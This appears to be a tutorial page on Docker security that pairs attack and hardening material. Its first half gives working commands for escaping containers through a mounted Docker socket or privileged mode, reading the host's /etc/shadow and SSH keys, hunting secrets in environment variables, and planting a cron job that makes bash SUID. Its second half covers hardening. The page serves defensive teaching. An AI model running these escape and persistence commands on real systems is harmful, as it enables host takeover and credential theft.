← Back to home
Docker Contenedores Hardening Misconfigurations DevSecOps
Intermediate

Docker: Container Security & Hardening

Aug 20, 2024

Docker is ubiquitous in modern infrastructure, but a misconfigured container can expose the host or entire internal network. This project covers the most common Docker container attacks and the hardening measures to prevent them.

1. Enumeration Inside a Compromised Container

# Check if we're inside a container:
cat /proc/1/cgroup | grep docker
ls /.dockerenv
env | grep -iE "pass|secret|token|key"

# Decode current capabilities:
cat /proc/self/status | grep CapEff
capsh --decode=0000000000003000

2. Container Escape: Docker Socket Mount

# Check if Docker socket is mounted:
ls -la /var/run/docker.sock

# Exploit — create privileged container with host filesystem:
docker -H unix:///var/run/docker.sock run -it \
  --rm \
  -v /:/host \
  alpine chroot /host sh

# Access host files:
cat /etc/shadow
ls /root/.ssh/

3. Container Escape: Privileged Mode

# Detect privileged container:
cat /proc/self/status | grep CapEff
# CapEff = 0000003fffffffff → privileged

# Exploit — mount host disk:
fdisk -l
mkdir /mnt/host && mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadow

# Add cron persistence on host:
echo "* * * * * root chmod +s /bin/bash" >> /mnt/host/etc/crontab

4. Exposed Secrets

# Environment variables (common leak):
printenv | grep -iE "pass|secret|token|key|db_|api"

# Image layer history:
docker history image:tag --no-trunc

# Inspect container metadata:
docker inspect container_id | python3 -m json.tool | grep -iE "env|password"

# Config files inside container:
find / -name "*.env" -o -name "config.php" 2>/dev/null

5. Dockerfile Hardening

# BAD: generic base + root + secrets in build
FROM ubuntu:latest
ENV DB_PASSWORD=supersecret123

# GOOD: minimal image + non-root user + no secrets
FROM python:3.12-slim

RUN groupadd -r appuser && useradd -r -g appuser appuser

RUN apt-get update && apt-get install -y --no-install-recommends \
    libpq5 \
  && rm -rf /var/lib/apt/lists/*

WORKDIR /app
COPY --chown=appuser:appuser . .
RUN pip install --no-cache-dir -r requirements.txt

USER appuser
EXPOSE 8080
CMD ["python", "app.py"]

6. Docker Daemon Hardening (daemon.json)

# Edit /etc/docker/daemon.json:
{
  "icc": false,
  "userns-remap": "default",
  "no-new-privileges": true,
  "log-driver": "json-file",
  "log-opts": { "max-size": "10m", "max-file": "3" }
}

systemctl restart docker

7. Secure docker run Options

docker run \
  --read-only \
  --tmpfs /tmp \
  --no-new-privileges \
  --cap-drop ALL \
  --cap-add NET_BIND_SERVICE \
  --user 1000:1000 \
  --memory 512m \
  --cpus 0.5 \
  -p 127.0.0.1:8080:8080 \
  my-image:latest

8. Image Vulnerability Scanning

# Trivy scanner:
apt install trivy

trivy image nginx:latest
trivy image --severity HIGH,CRITICAL my-app:latest

# CIS Docker Benchmark:
docker run --rm -it --net host --pid host \
  -v /var/run/docker.sock:/var/run/docker.sock:ro \
  docker/docker-bench-security

Docker Security Checklist

MeasureCommand / Config
No Docker socket exposureDon't mount /var/run/docker.sock
No privileged modeOmit --privileged
Non-root userUSER appuser in Dockerfile
Drop capabilities--cap-drop ALL --cap-add ...
Read-only FS--read-only
No secrets in imageUse Docker Secrets or runtime env
Scan imagetrivy image name:tag
CIS Benchmarkdocker/docker-bench-security